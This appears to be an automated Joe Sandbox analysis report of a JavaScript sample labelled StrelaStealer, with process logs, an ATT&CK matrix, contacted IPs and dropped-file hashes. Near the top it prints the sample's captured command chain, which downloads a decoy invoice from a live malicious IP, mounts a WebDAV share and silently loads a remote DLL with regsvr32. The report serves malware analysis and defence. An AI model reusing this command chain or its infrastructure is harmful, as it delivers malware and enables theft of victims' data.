Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2837518771550414407.js	5%	Virustotal		Browse
2837518771550414407.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/scebs	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/:	net.exe, 00000007.00000002.1632346747.000002A0BCC6D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2857841218.000001F7A0400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1632454403.000001F7A0600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/scebs	net.exe, 00000007.00000002.1632346747.000002A0BCC1E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1632346747.000002A0BCC4B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588358
Start date and time:	2025-01-11 01:14:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2837518771550414407.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 199.232.210.172, 23.209.209.135, 184.28.90.27, 2.16.168.105, 2.16.168.107, 4.175.87.197, 52.6.155.20, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:15:52	API Interceptor	30x Sleep call for process: powershell.exe modified
19:15:57	API Interceptor	1x Sleep call for process: net.exe modified
19:15:57	API Interceptor	2x Sleep call for process: svchost.exe modified
19:16:05	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.35134985002563707
Encrypted:	false
SSDEEP:	1536:LJdk0Giody0GJ0GNzJLjK7aJLgJLatZiPKIeRAkr/ncx52yeoXtT3N5elfbcg8S7:LJ3QRJI9r7x
MD5:	DBA902AE436B2DAC0A938461C0D68497
SHA1:	50FB1E847FEDE91C5C605B77DEF274584A2E8A17
SHA-256:	B4D2BA04863A66EC39E6E6BED144C768007E3FAD72D27969FD3F05A3B2FD9D40
SHA-512:	E10A2380C4183D21BC3F067016FE12DDC7CD963CA37B2384940A886F5F8A98F576E187C8BCDABFE3AD94D2E73486C13642DA9999BA643A2BAA65381D3E75C709
Malicious:	false
Preview:	lS..........@..@.....{/..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..................................."&.%*Z.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfe97dfae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.60488290426405
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/Cv0hXk0GkzJLfXk0GtYkr3g16n2UPkLk+kIp4mymxmEJEMhyFR:jazaMv27RA2UU5z
MD5:	E8371093F228DCF1559682A3258EDC11
SHA1:	E9CD13850606F560A1F6FEFC5D05CEFD2580EA94
SHA-256:	B81EF88E4ACEC3CCDFD9A39BD6FBDC6E10CF8A84EDCAB0018F981B4CE9221B44
SHA-512:	A644211F28CB3415DC171E2A453C352AB15F12FD53175FA887B1ADFB5C2A1318048667DA9BA5A933ABC41287C20AEC6BD9EF7C4807416707AD2618EC481577B6
Malicious:	false
Preview:	...... .......W.......X\...;...{......................6.9..........{C.9....}..h.;.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{/..............................................................................................................................................................................................2...{..................................B..}9....}/..................o..9....}...........................#......h.;.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07816657401511667
Encrypted:	false
SSDEEP:	3:WtlKYereukHnrglllWv9rZULeMtl9qluMjYll9fl+/rSIn0/:WtlKzrxkUlllIrOL9qlYXk3
MD5:	C2754B707FAA5103FF89E99F18C27DAF
SHA1:	C628116BD720BBC63FCC33DDF8156CE70C82C43C
SHA-256:	2121C5AA43D2F6F0788BF84E34F3AC3EDFBBEF5FD94E83C04EEAD4E597D5D7B4
SHA-512:	442E28B6B8A699A8BE710F070E0CA0299C894A5B9744BEFA8E2ED83BE8DC67029DCE77388CCD7762EBF5858B79F6F30A6DAF3D9BED2B18AFD0716F6F708E6F40
Malicious:	false
Preview:	W........................................;...{..9....}.......{C..............{C......{C.n.z......{Cw.................o..9....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270966165657239
Encrypted:	false
SSDEEP:	6:iO4pSYiyq2PWXp+N2nKuAl9OmbnIFUtSpSWYj1ZmwspSWY1RkwOWXp+N2nKuAl91:7ySYiyvaHAahFUtMStJ/OSt1R5fHAaSJ
MD5:	3269B0E2809CD84CCFF31CC8D6444E81
SHA1:	247E65FA01BFDBE5FC655CC8DE972BDC2DE037FF
SHA-256:	EF4A7763B4865E06738FB536922E34246188E8373EB9671D4C469AD7D2B86FE7
SHA-512:	F3AEC0B8631BEE523228933D52AF7C11C0CC7BE342DA3874EB93699BEF2FAB7AF75853F97AFF3CF0AD9A1A6FF5233671D809673F482AE890849D7DB52042330D
Malicious:	false
Preview:	2025/01/10-19:15:57.566 fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:15:57.568 fa4 Recovering log #3.2025/01/10-19:15:57.568 fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270966165657239
Encrypted:	false
SSDEEP:	6:iO4pSYiyq2PWXp+N2nKuAl9OmbnIFUtSpSWYj1ZmwspSWY1RkwOWXp+N2nKuAl91:7ySYiyvaHAahFUtMStJ/OSt1R5fHAaSJ
MD5:	3269B0E2809CD84CCFF31CC8D6444E81
SHA1:	247E65FA01BFDBE5FC655CC8DE972BDC2DE037FF
SHA-256:	EF4A7763B4865E06738FB536922E34246188E8373EB9671D4C469AD7D2B86FE7
SHA-512:	F3AEC0B8631BEE523228933D52AF7C11C0CC7BE342DA3874EB93699BEF2FAB7AF75853F97AFF3CF0AD9A1A6FF5233671D809673F482AE890849D7DB52042330D
Malicious:	false
Preview:	2025/01/10-19:15:57.566 fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:15:57.568 fa4 Recovering log #3.2025/01/10-19:15:57.568 fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.218647938504525
Encrypted:	false
SSDEEP:	6:iO4pSPEsVq2PWXp+N2nKuAl9Ombzo2jMGIFUtSpSfSgZmwspSfSIkwOWXp+N2nK3:7ySPEUvaHAa8uFUtMSfX/OSfF5fHAa8z
MD5:	8E6F310F8E41C435184792F6963583E3
SHA1:	D016D9A6A8757BBF4C132149EFD06511CBAD3988
SHA-256:	A616E71B90D94C32D5B8A245394085C9E2B4E1634CA2E29BCDCE4A9ED61762E3
SHA-512:	B855F58E2E1FE38CD389E6EF5873E86F3D40F025BB984D8F52767F7E4AF7B8DD68D08CA14E5FCC972CA8AD506FA94774D9845116668F16CF424A4D8C13C5D5B6
Malicious:	false
Preview:	2025/01/10-19:15:57.703 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:15:57.704 1860 Recovering log #3.2025/01/10-19:15:57.704 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.218647938504525
Encrypted:	false
SSDEEP:	6:iO4pSPEsVq2PWXp+N2nKuAl9Ombzo2jMGIFUtSpSfSgZmwspSfSIkwOWXp+N2nK3:7ySPEUvaHAa8uFUtMSfX/OSfF5fHAa8z
MD5:	8E6F310F8E41C435184792F6963583E3
SHA1:	D016D9A6A8757BBF4C132149EFD06511CBAD3988
SHA-256:	A616E71B90D94C32D5B8A245394085C9E2B4E1634CA2E29BCDCE4A9ED61762E3
SHA-512:	B855F58E2E1FE38CD389E6EF5873E86F3D40F025BB984D8F52767F7E4AF7B8DD68D08CA14E5FCC972CA8AD506FA94774D9845116668F16CF424A4D8C13C5D5B6
Malicious:	false
Preview:	2025/01/10-19:15:57.703 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:15:57.704 1860 Recovering log #3.2025/01/10-19:15:57.704 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973203621048557
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSEsBdOg2Hkzcaq3QYiubWQP7E4TX:Y2sRdsvdMHl3QYhbP7n7
MD5:	67C3851AE00DAD0A9C996DC2BC8D6C6D
SHA1:	0AC58187804A7D6F294121527A3DD627A95746FD
SHA-256:	C695CEB62D29FB7CC0E3800D4B94F54C8169A209BC64768B17ACB976F1146F27
SHA-512:	E31ADB5CD271B595244AD091595A96B764F6B93AA048D6C9E9265043767B739121EAD351DE9263B001689C5F592FB931324DA2CC0D0FBBC894CEE89626F9F810
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381114569464050","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":297826},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.3","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cf326444-0385-464d-8201-eb80450ddb06.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973203621048557
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSEsBdOg2Hkzcaq3QYiubWQP7E4TX:Y2sRdsvdMHl3QYhbP7n7
MD5:	67C3851AE00DAD0A9C996DC2BC8D6C6D
SHA1:	0AC58187804A7D6F294121527A3DD627A95746FD
SHA-256:	C695CEB62D29FB7CC0E3800D4B94F54C8169A209BC64768B17ACB976F1146F27
SHA-512:	E31ADB5CD271B595244AD091595A96B764F6B93AA048D6C9E9265043767B739121EAD351DE9263B001689C5F592FB931324DA2CC0D0FBBC894CEE89626F9F810
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381114569464050","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":297826},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.3","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.227253721822481
Encrypted:	false
SSDEEP:	96:Zo07PN+kzPNrAWTJeu3ICJXjBMgXpc44MMYFOJ4lIYBLlIL/B06:Zo07PN+kzPNr/V3XRXpcR8Fq4qY1qL/V
MD5:	C4EC33008CF3939AE24A98BA3391D0AE
SHA1:	5522E2DFAA66E92AD0FB124500B0F17C74733CC7
SHA-256:	0C4124141F375046F87923A4A2DA49FAE9B8B5CC400FA4B439B96A500DC31D90
SHA-512:	6DF6F3840029A12C3013BD8CED9E0A2128E99946B0B913ABE5F13C43CF42ED91040E4DD7A209A0470FE750C31A9E3154672B72BE05D15C26322DD07D22C4F117
Malicious:	false
Preview:	...#................version.1..namespace-..4so................next-map-id.1.Pnamespace-597a9d9c_2843_4867_ac28_329f96afb599-https://rna-resource.acrobat.com/.0"..r................next-map-id.2.Snamespace-6bd2256a_8321_4239_9a03_ec75c13c7275-https://rna-v2-resource.acrobat.com/.1.$..r................next-map-id.3.Snamespace-132b666a_5014_4bf9_bc90_c9be903c132e-https://rna-v2-resource.acrobat.com/.2...o................next-map-id.4.Pnamespace-3ed57827_cfe5_4f6c_826d_7df420168420-https://rna-resource.acrobat.com/.3U..^...............Pnamespace-597a9d9c_2843_4867_ac28_329f96afb599-https://rna-resource.acrobat.com/:.B.^...............Pnamespace-3ed57827_cfe5_4f6c_826d_7df420168420-https://rna-resource.acrobat.com/..a...............Snamespace-6bd2256a_8321_4239_9a03_ec75c13c7275-https://rna-v2-resource.acrobat.com/....a...............Snamespace-132b666a_5014_4bf9_bc90_c9be903c132e-https://rna-v2-resource.acrobat.com/M.xCo................next-map-id.5.Pnamespace-ddae9db6_4c9b_47a3_9d76_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1957789558014325
Encrypted:	false
SSDEEP:	6:iO4pJ/ZSVq2PWXp+N2nKuAl9OmbzNMxIFUtSpJySgZmwspJySIkwOWXp+N2nKuAo:7yFUvaHAa8jFUtMIX/OIF5fHAa84J
MD5:	50D860F537B28B7EA9511F97ECDA2396
SHA1:	7D423735EFA757AD2AA39A0154D3D027F399FF1F
SHA-256:	1467753899E66AAD68812C7E3BA2BCB50E5C6F9130EE5238B949B4DF1777056A
SHA-512:	2526F804683AD45C3DCF549B4C9BAEFEB1D51C830979D1F9287E03DA4F240D344E660D1175B9645BD1C6BF1C6F26412D9853A3CA7164508A37CFB2FD3267965F
Malicious:	false
Preview:	2025/01/10-19:15:58.038 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:15:58.040 1860 Recovering log #3.2025/01/10-19:15:58.040 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1957789558014325
Encrypted:	false
SSDEEP:	6:iO4pJ/ZSVq2PWXp+N2nKuAl9OmbzNMxIFUtSpJySgZmwspJySIkwOWXp+N2nKuAo:7yFUvaHAa8jFUtMIX/OIF5fHAa84J
MD5:	50D860F537B28B7EA9511F97ECDA2396
SHA1:	7D423735EFA757AD2AA39A0154D3D027F399FF1F
SHA-256:	1467753899E66AAD68812C7E3BA2BCB50E5C6F9130EE5238B949B4DF1777056A
SHA-512:	2526F804683AD45C3DCF549B4C9BAEFEB1D51C830979D1F9287E03DA4F240D344E660D1175B9645BD1C6BF1C6F26412D9853A3CA7164508A37CFB2FD3267965F
Malicious:	false
Preview:	2025/01/10-19:15:58.038 1860 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:15:58.040 1860 Recovering log #3.2025/01/10-19:15:58.040 1860 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

